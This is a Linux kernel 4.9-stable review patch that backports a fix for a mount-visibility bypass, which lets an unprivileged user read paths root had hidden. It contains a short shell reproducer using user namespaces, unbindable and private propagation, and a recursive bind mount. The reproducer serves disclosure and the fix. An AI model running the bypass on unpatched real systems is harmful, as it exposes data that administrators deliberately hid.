4.9-stable review patch. If anyone has any objections, please let me know.

From: Eric W. Biederman <ebied...@xmission.com>
commit df7342b240185d58d3d9665c0bbf0a0f5570ec29 upstream.
Jonathan Calmels from NVIDIA reported that he's able to bypass the
mount visibility security check in place in the Linux kernel by using
a combination of the unbindable property along with the private mount
propagation option to allow a unprivileged user to see a path which
was purposefully hidden by the root user.
Reproducer:
# Hide a path to all users using a tmpfs
root@castiana:~# mount -t tmpfs tmpfs /sys/devices/
root@castiana:~#
# As an unprivileged user, unshare user namespace and mount namespace
stgraber@castiana:~$ unshare -U -m -r
# Confirm the path is still not accessible
root@castiana:~# ls /sys/devices/
# Make /sys recursively unbindable and private
root@castiana:~# mount --make-runbindable /sys
root@castiana:~# mount --make-private /sys
# Recursively bind-mount the rest of /sys over to /mnnt
root@castiana:~# mount --rbind /sys/ /mnt
# Access our hidden /sys/device as an unprivileged user
root@castiana:~# ls /mnt/devices/

Solve this by teaching copy_tree to fail if a mount turns out to be
both unbindable and locked.
